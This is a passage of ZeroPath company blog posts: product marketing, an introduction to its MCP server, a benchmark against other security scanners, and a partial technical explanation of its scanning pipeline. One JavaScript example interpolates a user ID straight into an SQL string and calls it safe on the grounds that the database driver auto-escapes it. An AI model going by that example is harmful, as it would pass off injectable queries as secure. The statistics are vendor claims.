"internal-tool", "deprecated") and manage thousands of repositories at scale - **API-queryable insights**: Access all codebase intelligence programmatically for custom tooling and reporting This comprehensive inventory helps security teams understand their attack surface, enables architects to make informed decisions, and allows developers to find similar patterns across the organization. ## Language Support ZeroPath provides first-class support for: - JavaScript/TypeScript - Python - Java - C# - Go - Ruby - Rust - C/C++ - PHP - Swift - Kotlin - Scala - Perl - Dart - Elixir - Vue - Svelte - Embedded Template ## Built for Scale ZeroPath is engineered to handle the largest, most complex codebases: - **Million+ line repositories**: Easily processes repos with over 1 million lines of code - **Monorepo support**: Intelligently handles massive monorepos with multiple applications - **Parallel processing**: Scales horizontally for optimal performance - **Incremental scanning**: PR scans complete in under 60 seconds by analyzing only changed code - **Enterprise-grade infrastructure**: Built on the same foundation that powers our 125,000+ monthly scans Whether you're a startup with a single repository or an enterprise with thousands of applications, ZeroPath scales with your needs without compromising performance or accuracy. PR scans maintain sub-60 second performance while full repository scans provide comprehensive security analysis. ## See It In Action ZeroPath's Application Explorer lets you visualize your codebase graphically, understanding vulnerability paths and application architecture at a glance. Our intelligent scanning even detects multiple applications within monorepos automatically. ### Automatic Issue Attribution When ZeroPath finds a vulnerability, it automatically analyzes git history to identify who introduced the issue. This smart attribution: - Assigns issues to the right developer instantly - Sends notifications via Slack, Linear, Jira, or email - Reduces the overhead of triaging security findings - Helps teams understand security patterns and provide targeted training No more hunting through git blame or lengthy triage meetings. Issues go directly to the developer who can fix them fastest. ## How ZeroPath Works ### Code Analysis in Action When ZeroPath scans your code, it builds a comprehensive understanding of your application: 1. **AST Generation**: Creates detailed Abstract Syntax Trees to map code structure and relationships 2. **Code Understanding**: Analyzes the semantic meaning of your code, not just syntax 3. **Data Flow Analysis**: Tracks how data moves through your application from entry points to sensitive operations 4. **Business Logic Comprehension**: Understands the intended behavior vs actual implementation 5. **Relationship Mapping**: The AST maps complex relationships between different files, functions, classes, and components across your entire codebase This AST-based approach enables ZeroPath to understand complex relationships between components, trace data flows across multiple files, and identify vulnerabilities that require deep structural understanding of your code. ### SAST Tool Enhancement Pipeline When processing findings from external SAST tools, ZeroPath applies its full analytical capabilities: 1. **Finding Import**: Ingest results from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, or Synopsys 2. **Contextual Validation**: Apply AST and LLM analysis to verify if findings are real vulnerabilities 3. **False Positive Elimination**: Remove findings that don't represent actual security risks 4. **Severity Recalculation**: Adjust severity based on actual exploitability in your specific context 5. **Patch Generation**: Create working fixes for all validated vulnerabilities 6. **Integration**: Push fixes back through your existing workflow This transforms your existing SAST investment from a source of noise into a powerful remediation engine. ### Pull Request Integration Every PR is automatically scanned in under 60 seconds with clear, actionable feedback: - Inline comments on vulnerable code - One-click patch suggestions - Severity indicators that match your team's SLAs - Links to detailed explanations and remediation guidance ### Intelligent Vulnerability Detection ZeroPath's AI-driven approach combined with AST analysis enables detection of vulnerabilities that require human-like reasoning: - **Race Conditions**: Identifies timing-based vulnerabilities in concurrent code by analyzing execution paths - **State Management Issues**: Finds flaws in how applications handle state transitions across components - **Complex Authorization Bugs**: Detects privilege escalation paths that span multiple components using relationship mapping - **Business Logic Flaws**: Understands when code doesn't match business requirements through semantic analysis The AST provides the structural foundation while our LLMs add the contextual understanding, creating a powerful combination that catches vulnerabilities other tools miss. ### Precision Patch Generation Our patch generation goes beyond simple fixes: 1. **Contextual Fixes**: Patches that respect your coding patterns and architecture 2. **Minimal Changes**: Fixes only what's necessary without disrupting surrounding code 3. **Functionality Preservation**: Before generating any patch, ZeroPath validates that the fix won't break existing functionality or alter intended application behavior 4. **Test-Aware**: Considers existing test coverage when generating patches 5. **Performance Conscious**: Ensures security fixes don't introduce performance regressions Every patch is thoroughly analyzed to ensure it resolves the vulnerability without introducing new issues or changing how your application works for legitimate users. ## Real-World Use Cases ### Financial Services A major fintech company used ZeroPath to secure their payment processing system. Results: - Found 12 critical business logic flaws missed by traditional SAST - Reduced security review time from 2 weeks to 2 hours - Achieved SOC 2 compliance 3 months faster than projected - Transformed 5,000+ Checkmarx findings into 127 real issues with automatic fixes ### Healthcare Technology A healthcare platform handling millions of patient records implemented ZeroPath: - Discovered authorization bypasses in their API gateway - Automated HIPAA compliance checking - Reduced security-related deployment delays by 85% - Consolidated findings from Veracode and Fortify, reducing noise by 94% ### Cryptocurrency Exchange A top crypto exchange uses ZeroPath to secure their trading platform: - Continuous monitoring of smart contract interactions - Detection of race conditions in high-frequency trading code - Protection against novel attack vectors in DeFi integrations - Enhanced Semgrep rules with contextual validation and auto-patching ## Beyond Traditional SAST ### What Sets ZeroPath Apart **Traditional SAST Tools:** - Pattern matching against known vulnerabilities - High false positive rates (often 80%+) - Miss business logic flaws - Generate generic, often broken patches - Require security expertise to configure and use - Surface-level code analysis **ZeroPath:** - AST-based analysis combined with LLM understanding - False positive rate under 10% - Finds complex, contextual vulnerabilities - Generates working, tested patches - Natural language configuration anyone can use - Deep structural understanding of code relationships - Enhances existing SAST tools instead of replacing them ### Real Vulnerability Examples **Business Logic Flaw in E-commerce Platform:** ZeroPath discovered that a major retailer's discount system could be exploited by applying multiple promotional codes in a specific sequence, resulting in negative prices. Traditional tools missed this because it required understanding the business rules, not just code patterns. **Authentication Bypass in SaaS Application:** Found a vulnerability where JWT tokens from development environments were accepted in production due to shared signing keys. This required understanding environment configurations across multiple services and configuration files. **Prompt Injection in AI-Powered Support System:** Detected that customer support chatbot could be manipulated to expose internal documentation by crafting specific queries. ZeroPath understood the LLM integration pattern and identified unsafe prompt construction. ## Get Started Today Ready to experience security tooling that respects your time and actually makes your code safer? Join the 750+ companies already using ZeroPath to secure their applications. Integration takes about 1 minute, even for large organizations. **[Schedule a demo →](https://cal.com/zeropath/30)** ## Security Team Benefits ### Unified Security Posture - Single dashboard for all application security metrics - Cross-repository vulnerability tracking - Compliance reporting across frameworks (SOC 2, HIPAA, PCI-DSS) - Executive dashboards with business-relevant metrics - Consolidated view of findings from all SAST tools ### Efficient Triage - Automatic deduplication of similar vulnerabilities - Risk-based prioritization using business context - Integration with existing ticketing systems - Clear remediation timelines and ownership - Eliminate false positives from traditional SAST tools ### Continuous Improvement - Track security metrics over time - Identify training opportunities by team and technology - Measure the impact of security initiatives - Benchmark against industry standards - Compare effectiveness of different SAST tools ## Why Context Matters Traditional security tools operate like spell checkers, looking for known bad patterns. ZeroPath works like a skilled code reviewer who understands your application. Consider this example: ```javascript // Traditional tools flag this as SQL injection const query = `SELECT * FROM users WHERE id = ${userId}`; // But ZeroPath understands: // 1. userId comes from authenticated JWT token // 2. It's validated as UUID earlier in the flow // 3. The database driver auto-escapes this pattern // Result: No vulnerability (with full explanation) ``` This contextual understanding eliminates thousands of false positives while catching subtle vulnerabilities like: - A admin check that only works for the primary tenant in a multi-tenant app - An API endpoint that bypasses rate limiting when called with specific headers - A password reset flow that leaks user existence through timing differences ## What's Next This v1 launch is just the beginning. We're committed to continuously improving ZeroPath based on your feedback and the evolving security landscape. As new vulnerability classes emerge, ZeroPath will detect them automatically. Your security coverage improves without any action on your part. ## The ZeroPath Advantage ### For Developers - Ship faster with confidence - Learn secure coding through intelligent feedback - Focus on building features, not fixing false positives - Get security reviews in seconds, not days ### For Security Teams - Cut mean time to remediation by 70% - Scale security coverage without growing headcount - Focus on strategic initiatives instead of manual reviews - Demonstrate compliance with comprehensive reporting - Maximize ROI from existing SAST tool investments ### For Engineering Leaders - Accelerate release cycles without compromising security - Reduce security debt systematically - Lower the cost of achieving compliance - Build security culture through automation ## Return on Investment ZeroPath customers typically see: - **80% reduction** in vulnerabilities reaching production - **Significant decrease** in time spent on security reviews - **50% reduction** in penetration test findings - **95% reduction** in false positives from traditional SAST tools With the average data breach costing $4.35 million and taking 277 days to identify and contain, ZeroPath pays for itself by preventing just one incident. ## Getting Started is Simple 1. **Connect Your Repository** (30 seconds) - OAuth integration with your VCS - Select repositories to scan - Configure team permissions 2. **Run Your First Scan** (30 seconds) - ZeroPath analyzes your codebase - Generates comprehensive security report - Provides actionable recommendations 3. **Enable Continuous Protection** (optional) - Set up PR scanning - Configure notification preferences - Enable Auto AppSec Mode for automatic fixes - Connect existing SAST tools for enhanced validation Total time to value: About 1 minute. ## Join the Security Revolution ZeroPath represents a fundamental shift in how we approach application security. By combining the pattern recognition capabilities of traditional tools with the contextual understanding of AI, we've created a platform that makes security accessible, actionable, and automatic. The 750+ companies already using ZeroPath aren't just finding more vulnerabilities. They're building more secure applications from the ground up, shipping faster, and sleeping better at night. **[Schedule your demo today →](https://cal.com/zeropath/30)** For a detailed technical breakdown of how ZeroPath works and our zero-day discoveries, check out our [technical deep dive](https://zeropath.com/blog/how-zeropath-works). --- *Have questions? Reach out at hello@zeropath.com* --- #### Introducing ZeroPath’s Open-Source MCP Server - **Date**: March 27, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: MCP, ZeroPath, Application Security, SAST, AI Developer Tools, Claude, Cursor, Static Analysis, Security Automation, Product - **URL**: https://zeropath.com/blog/chat-with-your-appsec-scans Query your product security findings with natural language. ZeroPath’s open-source MCP server integrates with Claude, Cursor, Windsurf, and other tools to surface SAST issues, secrets, and patches—right where developers work. --- **In a moment where AI-powered development environments are rapidly evolving, we're excited to introduce the ZeroPath MCP Server** — a lightweight integration that connects ZeroPath's LLM-powered product security platform with Model Context Protocol (MCP) clients like Claude Desktop and Cursor. This release brings static analysis, secret scanning, and infrastructure-as-code (IaC) security directly into your conversational or IDE-native AI workflows. Want to ask Claude which vulnerabilities are open in your backend repo? Or query dependency issues from inside Cursor without leaving your editor? Now you can. --- ### What We Built We created an open-source MCP server that connects to the ZeroPath API and exposes tools for interacting with your organization's security posture: - List organizations connected to your ZeroPath account - Query vulnerability issues from SAST scans - Pull down patches and proposed fixes - Search for exposed secrets or insecure configurations This server is compatible with any standard MCP client—including Claude, Cursor, and WindSurf. GitHub repo: [https://github.com/ZeroPathAI/zeropath-mcp-server](https://github.com/ZeroPathAI/zeropath-mcp-server) --- ### Why This Matters AppSec teams have been automating their CI/CD pipelines for years. But with the rise of AI-native tools like Claude and Cursor, we're seeing an opportunity to bring security insights into the places developers now spend time thinking and building. Instead of switching tabs or pasting scan results into Jira manually, you can now: - Ask your AI assistant to summarize security issues - Pull in patch diffs for a PR - Get context about infrastructure misconfigurations, secrets, and logic flaws Security tooling should feel like part of your natural development flow. With MCP, it does. --- ### What is MCP? [Model Context Protocol (MCP)](https://www.anthropic.com/news/model-context-protocol) is an open specification for connecting AI tools to external resources and services. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports. In practical terms, MCP makes it possible to say: > "Hey Claude, ask ZeroPath to find all XSS vulnerabilities in `app/main.py`." ...and have it work. MCP is rapidly becoming the standard way for developer tools, LLMs, and agents to communicate securely and predictably. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports. --- ### Why MCP? MCP embraces the same spirit of open standards that underpins much of modern infrastructure. It avoids vendor lock-in and allows developers to bring their favorite tools (like ZeroPath) into their own workflows—be it in an IDE, chat window, or agent loop. For AppSec and platform engineers, it opens up the opportunity to query security data contextually and on-demand, without leaving your coding environment. --- ### What Can You Do With the ZeroPath MCP Server? - Query SAST issues by repo, path, or type using `search_vulnerabilities`, one of the included tools. You can also retrieve issue details with `get_issue` or approve patches (read-only) via `approve_patch`. - View dependency scan results and exploitability reports - Search for IaC misconfigurations - Check for hardcoded secrets across repos - Get suggested patches and remediations (read-only) All through natural language, within your IDE or AI assistant. --- ### Why Read-Only For now, the server is read-only by design. While MCP does allow write actions (like patching code or triggering scans), we've focused this initial implementation on safe exploration and data retrieval. This minimizes risk while making the server useful out-of-the-box. You can still explore your scan data, pull in insights, and generate patch recommendations without risk of altering your codebase accidentally. As the ecosystem matures, we plan to support safe, permissioned write actions. --- ### Getting Started To get started, you'll need to: 1. Generate an API key from your ZeroPath organization settings at [https://zeropath.com/app/settings/api](https://zeropath.com/app/settings/api) 2. Configure your environment variables with the API key: ```bash export ZEROPATH_TOKEN_ID=your_token_id export ZEROPATH_TOKEN_SECRET=your_token_secret ``` 3. Retrieve your organization ID (you can find this by running the following command): ```bash curl -X POST https://zeropath.com/api/v1/orgs/list \ -H "X-ZeroPath-API-Token-Id: $ZEROPATH_TOKEN_ID" \ -H "X-ZeroPath-API-Token-Secret: $ZEROPATH_TOKEN_SECRET" \ -H "Content-Type: application/json" \ -d '{}' ``` Once you have these credentials, clone the repository and set up the environment: 1. Clone the repository 2. Install dependencies using `uv` Next, clone the repo and sync dependencies using `uv` and creating the environment variables with the API information and org id: ```bash git clone https://github.com/ZeroPathAI/zeropath-mcp-server.git cd zeropath-mcp-server uv sync export ZEROPATH_ORG_ID=your_org_id ``` Once running, you can connect the server to Claude Desktop, Cursor, or WindSurf via the MCP configuration (we include setup instructions in the repo). (we include setup instructions in the repo). Add this entry to your MCP config (Claude Desktop, Windsurf, Cursor, etc.): ```json { "mcpServers": { "zeropath-mcp-server": { "command": "uv", "args": [ "run", "--project", "/zeropath-mcp-server", "/zeropath-mcp-server/main.py" ] } } } ``` Replace `` with the absolute path to the repo. --- ### Example Prompts to Try - "List all organizations connected to my ZeroPath account" - "What are the open SAST issues in our `payments-service` repo?" - "Show me any secrets found in our IaC files Get the details for issue `abc123` Approve the patch for issue `xyz789`" - "Fetch proposed patches for the latest XSS issue in `web/`" These work across any tool that supports MCP — whether you're chatting with Claude or using an IDE like Cursor. --- ### Why Conversational Interfaces for AppSec? Security shouldn't live off in a separate dashboard. With MCP, you can: - Ask specific security questions in natural language - Explore your codebase's risks and remediations on-demand - Reduce triage and manual lookup overhead This isn't just about convenience—it's about embedding security in the development experience. --- ### Get Involved The ZeroPath MCP Server is fully open-source and available on GitHub: [https://github.com/ZeroPathAI/zeropath-mcp-server](https://github.com/ZeroPathAI/zeropath-mcp-server) We're actively looking for contributors and feedback as we extend capabilities. Drop into our [Discord](https://discord.gg/Whukqkw3Qr) or open an issue on GitHub if you want to help shape what modern product security looks like in AI-native dev environments. --- #### How ZeroPath Compares - **Date**: November 13, 2024 - **Authors**: ZeroPath Team - **Reading Time**: 5 minutes - **Keywords**: SAST, Benchmarking, Insights, AI - **URL**: https://zeropath.com/blog/benchmarking-zeropath ZeroPath compares its SAST performance against competitors using the XBOW benchmarks, in a manner thats reproducible. --- SAST (Static Application Security Testing) tools have become indispensable for modern security teams yet face fundamental limitations. While these tools excel at identifying certain technical vulnerabilities, their dependence on static rule sets, limited ability to track data transformations across complex execution paths, and lack of holistic understanding of application context and behavior often results in three critical shortcomings: incomplete detection of conventional technical vulnerabilities, overwhelming number of false positives, and an inability to detect business logic/broken authentication vulnerabilities. ZeroPath is a SAST tool designed to address fundamental limitations in conventional static analysis approaches. To validate its effectiveness and compare it with existing solutions, we required a more comprehensive benchmarking framework than currently available. Existing evaluation methodologies lack the precision needed to accurately measure true and false positive rates across vulnerability classes, particularly for complex issues like business logic flaws and authentication vulnerabilities. To address these challenges, we have forked the [XBOW benchmark](https://github.com/xbow-engineering/validation-benchmarks), enhancing it to overcome many of the shortfalls associated with traditional benchmarking approaches. Our adapted version now serves as a reliable SAST benchmark, providing accurate measurements of both true positive and false positive rates for conventional classes of issues along side business logic and broken authentication vulnerabilities. [All changes can be found on our GitHub XBOW fork, alongside the scripts required to reproduce our findings.](https://github.com/ZeroPathAI/validation-benchmarks) **Note:** For more detailed information on [how and why we forked the XBOW benchmark, along with a discussion of its limitations, please refer to our blog post](https://zeropath.com/blog/toward-actual-benchmarks). ## Results: Breaking Down Detection Capabilities We evaluated three leading SAST tools alongside ZeroPath: Bearer (by Cycode), Semgrep, and Snyk. Our results demonstrate the limitations of current scanning approaches across traditional and complex vulnerability types. ### Technical Vulnerabilities | Scanner | Detection Rate | False Positive Rate | |---------|----------------|----------------| | ZeroPath | 80.0% | 25.0% | | Snyk | 40.0% | 30.0% | | Semgrep | 57.1% | 45.0% | | Bearer | 5.7% | 0.0% | *Based on 31 benchmarks with conventional technical vulnerabilities such as XSS, SQLI, and SSTI (alongside many more classes of issues)* ### Business Logic & Authentication Vulnerabilities | Scanner | Detection Rate | False Positive Rate | |---------|----------------|----------------| | ZeroPath | 87.5% | 0.0% | | Snyk | 0.0% | 0.0% | | Semgrep | 12.5% | 0.0% | | Bearer | 0.0% | 0.0% | *Based on 8 business logic benchmarks, including broken authentication, missing authorization, and complex data validation issues* ## Key Findings Our analysis of leading SAST tools revealed significant gaps in detection capabilities across the industry. While traditional tools excelled in specific scenarios, they consistently struggled with complex vulnerabilities and produced high false positive rates. ZeroPath demonstrated notable improvements in reducing false positives while maintaining strong detection rates, particularly in complex scenarios. Business logic and authentication vulnerability detection remains a fundamental challenge for most SAST solutions. Through advanced analysis techniques, ZeroPath showed more robust capabilities in identifying these complex vulnerability patterns, though there remains room for improvement across all tools in this category. Comparative analysis highlighted how newer approaches to static analysis can overcome traditional limitations. While no tool achieved perfect results, ZeroPath's enhanced detection mechanisms for business logic vulnerabilities and authentication flows represent meaningful progress in addressing long-standing SAST challenges. ## Tool Comparison and Features The feature comparison reflects recent innovations in SAST technology. While established tools provide solid foundational security scanning, ZeroPath's integration of advanced capabilities like natural language patch modification and business logic analysis demonstrates the potential for more sophisticated vulnerability detection. Language support varies significantly across SAST solutions. While our benchmark focused specifically on Python codebases, where ZeroPath showed strong detection capabilities, further testing across other languages would be needed for a comprehensive comparison. Most tools claim broad language support, but real-world effectiveness can vary substantially between languages. ### Feature Comparison | Feature | ZeroPath | Snyk | Semgrep | Bearer | |---------|----------|------|----------|--------| | Secret Detection | ✅ | ✅ | ✅ | ✅ | | SAST (Static Analysis) | ✅ | ✅ | ✅ | ✅ | | SCA (Software Composition Analysis) | ✅ | ✅ | ✅ | ❌ | | Broken Authentication Detection | ✅ | ❌ | ❌ | ❌ | | Business Logic Analysis | ✅ | ❌ | ❌ | ❌ | | IaC Scanning | ✅ | ✅ | ✅ | ❌ | | Auto-Patch Creation | ✅ | ✅ | ✅ | ❌ | | PR Code Reviews | ✅ | ✅ | ✅ | ✅ | | Natural Language Patch Modification | ✅ | ❌ | ❌ | ❌ | | Q&A / Code Indexing | ✅ | ❌ | ❌ | ❌ | ### Language Support | Language | ZeroPath | Bearer CLI | Semgrep | Snyk Code | |----------|----------|------------|----------|------------| | JavaScript/TypeScript | ✅ | ✅ | ✅ | ✅ | | Python | ✅ | ❌ | ✅ | ✅ | | PHP | ✅ | ❌ | ✅ | ✅ | | Golang | ✅ | ❌ | ✅ | ✅ | | Java | ✅ | ✅ | ✅ | ✅ | | Ruby | ✅ | ✅ | ✅ | ✅ | | C# | ✅ | ❌ | ✅ | ✅ | ## Reproducing Our Results We believe in transparency and reproducibility. All our testing tools and scripts are available on GitHub: - CLI setup: [ZeroPath CLI](https://github.com/ZeroPathAI/zeropath-cli) - Validation benchmarks: [ZeroPath Benchmarks](https://github.com/ZeroPathAI/validation-benchmarks) Follow our setup guide in the repository to run the benchmarks yourself and validate our findings. --- #### How ZeroPath Works - **Date**: November 1, 2024 - **Authors**: Raphael Karger - **Reading Time**: 15 minutes - **Keywords**: Product, AI, ZeroPath, SAST, AI SAST, AST analysis, source-to-sink analysis, call graph, vulnerability detection, static analysis, business logic vulnerabilities, authentication vulnerabilities, SQL injection, IDOR, LLM security, AI vulnerability detection, automated patch generation, reachability analysis, application security, AppSec, code analysis, security scanning - **URL**: https://zeropath.com/blog/how-zeropath-works Technical deep-dive into ZeroPath's SAST methodology: From AST generation to AI-powered vulnerability discovery and automated patch generation. --- > **Update:** This "How ZeroPath Works" post is kept for historical reference. Current architecture and capabilities have evolved over time. --- > **TL;DR: This post explains how ZeroPath's unified AppSec platform (SAST, SCA, secrets, IaC, and EOL checks) works, focusing on its AI-powered SAST engine.** > > - **Unified vulnerability coverage:** finds business-logic flaws, authentication/authorization bypasses, and classic vulnerabilities such as SQLi, XSS, and SSRF. > - **Continuously adaptive detection:** the tool automatically updates to recognize new vulnerability classes, such as prompt-injection attacks. > - **End-to-end workflow:** trigger → AST → enriched graph → vulnerability discovery → vulnerability validation → patch generation. > - **Fast developer experience:** pull-request scans finish in under 60s on GitHub, GitLab, Bitbucket, and Azure DevOps across 16+ languages. > - **Signal over noise:** reachability-aware data-flow analysis surfaces only exploitable paths, cutting false positives. > - **Fixes, not just findings:** the platform opens PRs with validated patches; developers can refine them using natural-language prompts. > - **Enterprise-ready deployment:** available as SaaS or on-premises via private cloud, with SSO/SAML support, SOC 2 and GDPR compliance (ISO 27001 underway). > - **Proven in the wild:** more than 125,000 scans each month for 750+ organizations, with critical CVEs disclosed in Netflix, Hulu, and Salesforce code. > > **→ [Schedule a live demo or set up a PoC](/demo)** --- ZeroPath is an Application Security (AppSec) platform that provides a way to manage all of your code security at once. This post focuses specifically on ZeroPath's Static Application Security Testing (SAST) engine, the AI-driven core that analyzes source code to detect security vulnerabilities. But this engine is also how we drive SCA and Custom Policy results. ZeroPath finds vulnerabilities without relying on rules, rule-based engines, or long lists of language specific "sinks" and "sources". This is unusual in AppSec, where most vendors are quietly relying on Semgrep, OpenGrep, or other open-source policy engines. But building our tooling from the ground up with LLMs allows the system to automatically adapt and find new types of issues without requiring developer specification. Additionally, it allows teams to define custom security rules using natural language, making it easier to enforce organization-specific security policies without writing complex regex patterns. Developed by security engineers, our custom-built SAST tool identifies complex issues often missed by conventional methods, including business logic flaws, authentication vulnerabilities, and emerging threats like AI-specific vulnerabilities such as prompt injection attacks. Traditional SAST tools struggle to detect business logic and authentication vulnerabilities because they rely on pattern matching rather than understanding application behavior. ZeroPath has been used to uncover vulnerabilities in major open-source repositories owned by companies like Netflix, Hulu, and Salesforce. By understanding code context and functionality through our proprietary AI engine, ZeroPath's SAST capabilities provide accurate detection with fewer false positives. The tool performs pre-merge scanning, analyzing code before it's merged into the main codebase. Pull-request scans typically complete in under 60s, enabling early detection of security issues without impeding development workflows. ZeroPath currently provides first-class support for C, C++, PHP, Go, Ruby, Perl, Rust, Python, Scala, Kotlin, Swift, JavaScript/TypeScript, Dart, Elixir, Java, and C#, including templating engines like Svelte and Embedded Ruby. It uses the tree-sitter library for Abstract Syntax Tree (AST) generation, allowing rapid integration of additional or custom language grammars. Given the prevalence of AI in security tools, we prioritize transparency. The following sections provide an overview of ZeroPath's functionality and demonstrate how our approach has led to the discovery of critical vulnerabilities in production systems used by major companies. ## Why AI-Driven SAST Matters Traditional SAST tools face fundamental limitations in modern application security. While they excel at finding certain pattern-based vulnerabilities, they struggle with context-dependent issues that require understanding how code actually behaves. This includes business logic flaws, authentication bypasses, and complex data flow vulnerabilities that don't match predefined patterns. ZeroPath's AI-driven approach represents a different paradigm. Instead of relying solely on rules and patterns, our engine understands code semantics and can reason about application behavior. This enables detection of vulnerability classes that rule-based systems simply cannot identify. For teams interested in detailed performance comparisons, we've published our [benchmarking methodology and results](https://zeropath.com/blog/benchmarking-zeropath). The key takeaway is that AI-driven analysis opens up entirely new categories of vulnerability detection, particularly for business logic and authentication issues that have traditionally required manual security reviews. ## ZeroPath Architecture and Workflow ZeroPath's vulnerability detection process consists of six key stages, each designed to contribute to the accuracy of its findings. The following section breaks down these stages, providing a technical overview of how the system operates to identify security issues in code bases. ```mermaid graph LR A[Trigger Scan] --> B[Application
Identification] B --> C[AST Generation
& Indexing] C --> D[Graph
Enrichment] D --> E[Vulnerability
Discovery] E --> F[Validation
& Verification] F --> G[Patch
Generation] ``` ### Triggering a Scan ZeroPath scans can be initiated through multiple methods: 1. **Scheduled/Manual Scans** These are initiated through the dashboard, CLI, or our [fully documented API](https://zeropath.com/docs/api-reference/organizations/list-organizations) (with TypeScript SDK support), or occur at predefined intervals. They perform a more complete analysis of the entire codebase, designed both to catch vulnerabilities in code that may have bypassed PR checks (e.g., direct pushes to the main branch) and refresh the intensive parts of analysis. This document describes what happens when you do a manual scan. 2. **Pull-Request Scans** PR scans are triggered automatically when a pull request is created on your repository. They are implemented as a GitHub check (and similarly for GitLab, Bitbucket, and Azure Pipelines), which avoids using CI/CD minutes, and focus on analyzing only the modified code. To optimize performance, the AST from previous scans is cached, and PR scans complete in around 30 seconds on average. Only the nodes corresponding to updated code are re-parsed and integrated into the existing AST. This incremental updating approach significantly reduces processing time while maintaining high accuracy, resulting in efficient and precise scans. 3. **Auto AppSec Mode** For teams wanting continuous security coverage, repositories can be configured to scan automatically on a schedule with high severity issues automatically generating pull requests for remediation. ### Application Identification ZeroPath starts by using AI agents to investigate what applications are inside your repository and gather some basic data about how they work. This step is crucial when dealing with mono-repositories or repositories containing multiple services, as often happens with microservice architectures. Specifically, we: 1. Identify directory boundaries for each application 2. Generate application descriptions and metadata, noting details like the auth procedure and tech stack 3. Collect additional contextual information helpful for subsequent analysis stages This process helps ensure that ZeroPath has enough information about your apps to discriminate between relevant and irrelevant security issues. ### AST Generation and Indexing To illustrate the following steps, we will be using a [basic Django application](https://gist.github.com/r0path/dfb9c5657fc8b8d7c25b33d9cfcc6a26) that provides fundamental functionality for: 1. User management (creating and listing users) 2. Content management (creating and listing posts) 3. User authentication (login and logout capabilities) Below is an example of the method to retrieve users from the application: ```python class UserViewSet(View): def get(self, request): users = User.objects.all() return render(request, 'user_list.html', {'users': users}) ``` That's how it's represented as plain text, but as with most languages this is broken down into an intermediate representation before compilation. Using tree-sitter we can convert the method definition into an AST that has standard names for things like `function_definition`, `body`, and etc.: ```lisp (function_definition name: (identifier) ; get parameters: (parameters (identifier) ; self (identifier)) ; request body: (block (expression_statement (assignment left: (identifier) ; users right: (call function: (attribute object: (attribute object: (identifier) ; User attribute: (identifier)) ; objects attribute: (identifier)) ; all arguments: (argument_list)))) (return_statement (call function: (identifier) ; render arguments: (argument_list (identifier) ; request (string) ; 'user_list.html' (dictionary (pair key: (string) ; 'users' value: (identifier)))))))) ; users ``` This AST representation breaks down the `get_users` function, showing its structure, parameters, and the operations it performs. Each node in the tree is represented by parentheses, with the node type followed by its children. Leaf nodes (like identifiers and strings) are represented directly. Comments after semicolons provide additional information or clarification about the nodes. This format allows for a detailed, hierarchical view of the code structure, making it easier to analyze. In particular, from the AST we create a **call graph**, which is a map of the program's function invocations. The call graph facilitates navigation through the codebase during vulnerability analysis, and also provides a complete summary of the application's structure and behavior. This holistic understanding is key to our tool's ability to detect complex, context-dependent vulnerabilities, and it looks something like this: ```mermaid graph TD A[WSGI Handler: process_request] --> B[URL Dispatcher: resolve] B --> C1[UserViewSet: dispatch] B --> C2[PostViewSet: dispatch] B --> C3[LoginView: dispatch] B --> C4[LogoutView: dispatch] C1 --> D1[UserViewSet: list] C1 --> D2[UserViewSet: create] C2 --> D3[PostViewSet: list] C2 --> D4[PostViewSet: create] C3 --> D5[LoginView: post] C4 --> D6[LogoutView: post] D1 & D2 --> E1[User.objects.all/create] D3 & D4 --> E2[Post.objects.all/create] D5 --> E3[authenticate] D5 --> E4[login] D6 --> E5[logout] D1 & D3 --> F1[render] D2 & D4 --> F2[render] F1 & F2 --> G[context_processor] D1 & D2 & D3 & D4 & D5 & D6 --> H[HttpResponse] ``` ### Graph Enrichment After generating the AST, we enrich the graph with contextual information by identifying features like endpoints (exposed functions or URLs that can be accessed externally) and assigning attributes to each node. These attributes can be details such as request paths, HTTP methods, and authentication and authorization mechanisms. For example, a node representing a login function might be enriched with attributes indicating it accepts POST requests, and implements rate limiting. A key aspect of this enrichment is recognizing how middleware and other security controls are implemented across the application. This process transforms the basic AST into a more comprehensive representation of the application's structure and behavior. While the initial AST shows the structure of individual functions, this enriched call graph demonstrates how these functions interact and what security measures are in place throughout the application flow. ```mermaid graph TD A[Django WSGI Handler] -->|Process Request| B[URL Dispatcher] %% Middleware Chain A -->|Pre-process| M1[Security Middleware] M1 -->|HTTPS Redirect| M2[Session Middleware] M2 -->|Manage Sessions| M3[Authentication Middleware] M3 -->|Authenticate User| M4[CSRF Protection Middleware] M4 -->|CSRF Validation| B %% URL Patterns and Views B -->|/api/users/| C1[UserViewSet] B -->|/api/posts/| C2[PostViewSet] B -->|/auth/login/| C3[LoginView] B -->|/auth/logout/| C4[LogoutView] %% View Methods C1 -->|GET| D1[List Users] C1 -->|POST| D2[Create User] C2 -->|GET| D3[List Posts] C2 -->|POST| D4[Create Post] C3 -->|POST| D5[Authenticate User] C4 -->|POST| D6[End Session] %% Database Interactions D1 & D2 -->|Query/Update| E1[User Model] D3 & D4 -->|Query/Update| E2[Post Model] E1 & E2 -->|ORM| F[Database] %% Template Rendering D1 & D3 -->|Render| G1[List Template] D2 & D4 -->|Render| G2[Detail Template] G1 & G2 -->|Apply| H[Context Processors] %% Static Files and Caching I[Static File Handler] -->|Serve| J[Static Files] K[Cache Middleware] -->|Cache Responses| A %% Response Flow D1 & D2 & D3 & D4 & D5 & D6 -->|Generate Response| L[Response Object] L -->|Process Response| M4 M4 -->|Process Response| M3 M3 -->|Process Response| M2 M2 -->|Process Response| M1 M1 -->|Process Response| A %% Authentication Flow D5 -->|Success| N[Create Session] D5 -->|Failure| O[Error Response] D6 -->|Logout| P[Delete Session] classDef middleware fill:#f9f,stroke:#333,stroke-width:2px; class M1,M2,M3,M4,I,K middleware; ``` ### Vulnerability Discovery and Validation Finally we get to the most important part, using the call graph to discover vulnerabilities. In our application security analysis, vulnerabilities are bucketed into three main types: 1. **Conventional Vulnerabilities**: These encompass implementation-specific security flaws such as SQL Injection (SQLi), XML External Entity (XXE) injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), leaking of secrets, and Server-Side Request Forgery (SSRF). 2. **Business Logic Flaws**: These vulnerabilities arise from flaws in the application's logic. Examples include: - Price manipulation in e-commerce systems - Exploitation of coupon systems leading to incorrect pricing - Bypassing intended workflow sequences - Lack of rate limiting especially when interacting with external APIs (leading to excessive charges from providers) 3. **Authentication/Authorization Issues**: These stem from improper 